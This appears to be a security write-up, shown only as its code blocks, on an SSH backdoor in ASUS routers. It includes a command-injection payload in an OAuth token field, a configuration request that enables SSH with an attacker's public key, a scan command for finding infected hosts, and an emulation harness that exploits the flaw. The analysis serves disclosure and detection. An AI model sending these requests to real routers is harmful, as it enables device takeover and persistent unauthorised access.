升级固件也没用!华硕路由器被通过官方配置植入SSH后门

00000000: 617375735f74 6f6b 656e 3d00 asus_token=.

current_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3B&wrs_protect_enable=1

current_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27

if (f_exists("/tmp/BWSQL_LOG") > 0){    var_8f0_1 = &var_7e0;    str_1 = str;    snprintf(&var_420, 0x400, "echo "[BWDPI_SQLITE]%d/%d[%s] %s…", i_3, j_1, str_1, var_8f0_1);    system(&var_420); // DANGER}

current_page=Advanced_System_Content.asp&next_page=Advanced_System_Content.asp&modified=0&flag=&action_mode=apply&action_wait=5&action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B&first_time=&preferred_lang=EN&reboot_schedule_enable=0&reboot_schedule_enable_x=0&telnetd_enable=0&sshd_enable=1&sshd_port=53282&sshd_port_x=53282&sshd_pass=0&sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623&shell_timeout_x=20

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623

sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt

"pubKeyHuntResults": ["ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin"  ]

nvram_set("oauth_google_token_status", &data_174fea[0xf]);voidvar_410;memset(&var_410, 0, 0x400);if (!check_if_dir_exist("/tmp/oauth/"))mkdir("/tmp/oauth/", 0x1ed);snprintf(&var_410, 0x400, "wget --no-check-certificate --ti…", 3, 1, nvram_get(), "103584452676-437qj6gd8o9tuncit9h…", "xivDhVGSSHZ3LJMx228wdcDf", "refresh_token", "/tmp/oauth/google_access_token.j…", "https://www.googleapis.com/oauth…");if (f_exists("/tmp/OAUTH_DEBUG") > 0)cprintf("[OAUTH][%s:(%d)]post cmd : %sn", "oauth_google_check_token_status", 0x5b6, &var_410);system(&var_410); // DANGER

if (is_valid_oauth_code()){    //Same code as before}

#Cross compilearmv5-eabi--glibc--stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl#ELF checkfile callshared.elf#Move binary into firmware squashfs rootcp callshared.elf ./squashfs-root/bin/callshared.elf#Move QEMU emulator binary into squashfs rootcp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static#Change root, load libshared.so, execute our hooksudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD="/usr/lib/libshared.so" /bin/busybox sh -c "/bin/callshared.elf"

#include<stdio.h>#include<stdint.h>#include<dlfcn.h>#include<string.h>#define MAX_INPUT 4096intmain(){void *handle;int (*oc)(char *); // Function pointer with return type intchar *error;char input[MAX_INPUT];int result;__uint8_t curChar;// Open the shared object file    handle = dlopen("libshared.so", RTLD_LAZY);if (!handle)    {fprintf(stderr, "%sn", dlerror());return1;    }// Get a pointer to the is_valid_oauth_code function    oc = (int (*)(char *))dlsym(handle, "is_valid_oauth_code");if ((error = dlerror()) != NULL)    {fprintf(stderr, "%sn", error);        dlclose(handle);return1;    }for (uint16_t i = 0; i <= 0xFF; i++)    {uint8_t byte_value = (uint8_t)i;char char_value = (char)byte_value;        result = (*oc)(&char_value);if (result)        {printf("Value: %3u, Hex: 0x%02X, Char: %cn", byte_value, byte_value, char_value);        }    }// Get user inputwhile (1)    {printf("Enter an oauth code: ");if (fgets(input, MAX_INPUT, stdin) == NULL)        {fprintf(stderr, "Error reading inputn");            dlclose(handle);return1;        }// Remove newline character if present        input[strcspn(input, "n")] = 0;// Call the is_valid_oauth_code function with user input and store the result        result = (*oc)(input);// Print the returned valueprintf("Return value: %dn", result);if (result)        {char buffer[1024];int o = snprintf(&buffer,1024,"wget --no-check-certificate --timeout=%d --tries=%d --method POST --header 'content-type: application/x-www-form-urlencoded' --header 'cache-control: no-cache' --body-data 'refresh_token=%s&client_id=%s&client_secret=%s&grant_type=%s' --output-document=%s %s",3,1,                             input,"103584452676-437qj6gd8o9tuncit9h8h7cendd2eg58.apps.googleusercontent.com","xivDhVGSSHZ3LJMx228wdcDf","refresh_token","/tmp/oauth/google_access_token.json",//IP for example.com since DNS resolver doesn't exist inside emulated sandbox"http://23.215.0.136/AAAAAAAAAAAAAAAAAAA");printf("Overflowed: %d", o);printf("n%sn", buffer);int e = system(buffer);        }    }// Close the shared object    dlclose(handle);return0;}

--body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(...)

sh: syntax error: unterminated quoted string

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048